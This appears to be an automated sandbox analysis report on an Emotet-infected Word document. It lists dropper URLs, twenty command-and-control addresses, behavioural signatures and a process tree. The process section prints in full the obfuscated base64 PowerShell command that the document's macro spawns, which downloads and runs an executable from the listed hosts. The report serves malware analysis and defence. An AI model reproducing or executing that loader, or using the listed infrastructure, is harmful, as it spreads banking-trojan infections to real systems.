Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    151s
  • max time network
    108s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    14/08/2020, 16:45

Sharing

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General

  • Target
    emotet_e2_b5ced3fd9b5203a48e44f9df4cb09216c9527f2bdae51b0d7ee1a53e51c12350_2020-08-14__164242._doc.doc
  • Size 232KB
  • Sample200814-l1bcad36ya
  • SHA256 b5ced3fd9b5203a48e44f9df4cb09216c9527f2bdae51b0d7ee1a53e51c12350
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://rochelldiy.com/ucigm/d_8_kv/
  • exe.dropper

    http://sh.m.sxhpyy.com/special/c_eh6r_m97/
  • exe.dropper

    http://hx.sxheping120.com/zt/ixq_vc2ru_xv6/
  • exe.dropper

    http://tf.sxhpyy120.com/a/k_q_wc6o2/
  • exe.dropper

    http://selectadrive.nl/wp-admin/ek_yve_bgtxm/

Extracted

Family

  • emotet

C2

  • 75.139.38.211:80

  • 69.30.203.214:8080

  • 67.205.85.243:8080

  • 190.160.53.126:80

  • 183.101.175.193:80

  • 137.59.187.107:8080

  • 168.235.67.138:7080

  • 209.143.35.232:80

  • 180.92.239.110:8080

  • 167.86.90.214:8080

  • 85.66.181.138:80

  • 95.213.236.64:8080

  • 83.169.36.251:8080

  • 157.245.99.39:8080

  • 79.98.24.39:8080

  • 70.167.215.250:8080

  • 93.51.50.171:8080

  • 174.102.48.180:80

  • 24.179.13.119:80

  • 41.60.200.34:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_b5ced3fd9b5203a48e44f9df4cb09216c9527f2bdae51b0d7ee1a53e51c12350_2020-08-14__164242._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:604
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABCAHIANQA3AGwAawBrAD0AJwBHAGoAZgBwAHoAdwBpACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABlAEMAVQBgAFIAaQBgAFQAWQBwAHIAbwBgAFQAbwBDAGAATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQARgB4AHYAagBoAF8AZQAgAD0AIAAnAEUAYgB5AHoAJwA7ACQATAAwAGIAbQB1AG0AdQA9ACcARwBkAGUAZwAxAHcAZAAnADsAJABBAGsAdABnADUAcQB1AD0AJABlAG4AdgA6AHQAZQBtAHAAKwAnAFwAJwArACQARgB4AHYAagBoAF8AZQArACcALgBlAHgAZQAnADsAJABWAGQAdwAyAF8AYwA5AD0AJwBIAGUAZwB4AG8AbwBoACcAOwAkAFYAYQA2AGIAcgA5AGYAPQAuACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgBqAGUAYwB0ACcAKQAgAE4ARQBUAC4AVwBlAGIAQwBMAGkAZQBuAHQAOwAkAFUAZQBoADMAagA1AG0APQAnAGgAdAB0AHAAOgAvAC8AcgBvAGMAaABlAGwAbABkAGkAeQAuAGMAbwBtAC8AdQBjAGkAZwBtAC8AZABfADgAXwBrAHYALwAqAGgAdAB0AHAAOgAvAC8AcwBoAC4AbQAuAHMAeABoAHAAeQB5AC4AYwBvAG0ALwBzAHAAZQBjAGkAYQBsAC8AYwBfAGUAaAA2AHIAXwBtADkANwAvACoAaAB0AHQAcAA6AC8ALwBoAHgALgBzAHgAaABlAHAAaQBuAGcAMQAyADAALgBjAG8AbQAvAHoAdAAvAGkAeABxAF8AdgBjADIAcgB1AF8AeAB2ADYALwAqAGgAdAB0AHAAOgAvAC8AdABmAC4AcwB4AGgAcAB5AHkAMQAyADAALgBjAG8AbQAvAGEALwBrAF8AcQBfAHcAYwA2AG8AMgAvACoAaAB0AHQAcAA6AC8ALwBzAGUAbABlAGMAdABhAGQAcgBpAHYAZQAuAG4AbAAvAHcAcAAtAGEAZABtAGkAbgAvAGUAawBfAHkAdgBlAF8AYgBnAHQAeABtAC8AJwAuACIAUwBgAFAATABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABaADkANABkAHAAcgBtAD0AJwBUAHkAaABmAGYAXwAxACcAOwBmAG8AcgBlAGEAYwBoACgAJABEADUANgBmAG0AeQAwACAAaQBuACAAJABVAGUAaAAzAGoANQBtACkAewB0AHIAeQB7ACQAVgBhADYAYgByADkAZgAuACIAZABPAFcATgBsAE8AYQBEAGAARgBgAGkAbABlACIAKAAkAEQANQA2AGYAbQB5ADAALAAgACQAQQBrAHQAZwA1AHEAdQApADsAJABOAG0AbQAwAG0AaQBoAD0AJwBBAHEAYgBwAGYAOABpACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAQQBrAHQAZwA1AHEAdQApAC4AIgBsAGAARQBgAE4ARwB0AEgAIgAgAC0AZwBlACAAMwA2ADgANQA1ACkAIAB7AC4AKAAnAEkAbgAnACsAJwB2AG8AawBlAC0ASQB0ACcAKwAnAGUAbQAnACkAKAAkAEEAawB0AGcANQBxAHUAKQA7ACQAVgBnADMANABhAHEAbgA9ACcAUABhAG0ANgA0AHAAbQAnADsAYgByAGUAYQBrADsAJABDAGUAYwBjAGoAMAAyAD0AJwBMAGQAXwBxADgANgA1ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEoAawBsADQAMABqAHMAPQAnAFoAaAAxAGkANgB0AGkAJwA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1496
    • C:\Users\Admin\AppData\Local\Temp\Ebyz.exe
      "C:\Users\Admin\AppData\Local\Temp\Ebyz.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1764
      • C:\Windows\SysWOW64\secinit\wdigest.exe
        "C:\Windows\SysWOW64\secinit\wdigest.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:808

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/604-7-0x0000000006C20000-0x0000000006E20000-memory.dmp
        Download

        memory/604-6-0x000000000BD60000-0x000000000BD64000-memory.dmp
        Download

        memory/604-2-0x0000000008840000-0x0000000008844000-memory.dmp
        Download

        memory/604-3-0x0000000006C20000-0x0000000006E20000-memory.dmp
        Download

        memory/604-4-0x0000000006C20000-0x0000000006E20000-memory.dmp
        Download

        memory/604-5-0x000000000A8E0000-0x000000000A8E4000-memory.dmp
        Download

        memory/604-15-0x0000000002180000-0x0000000002181000-memory.dmp
        Download

        memory/808-22-0x00000000002F0000-0x00000000002FC000-memory.dmp
        Download

        memory/1496-14-0x000000001AAD0000-0x000000001AAD1000-memory.dmp
        Download

        memory/1496-13-0x000000001C560000-0x000000001C561000-memory.dmp
        Download

        memory/1496-12-0x0000000002270000-0x0000000002271000-memory.dmp
        Download

        memory/1496-11-0x00000000024C0000-0x00000000024C1000-memory.dmp
        Download

        memory/1496-10-0x000000001AD40000-0x000000001AD41000-memory.dmp
        Download

        memory/1496-9-0x0000000002380000-0x0000000002381000-memory.dmp
        Download

        memory/1496-8-0x000007FEE99F0000-0x000007FEEA3DC000-memory.dmp
        Download

        memory/1764-18-0x00000000003A0000-0x00000000003AC000-memory.dmp
        Download

        memory/1968-23-0x000007FEEEB30000-0x000007FEEEDAA000-memory.dmp
        Download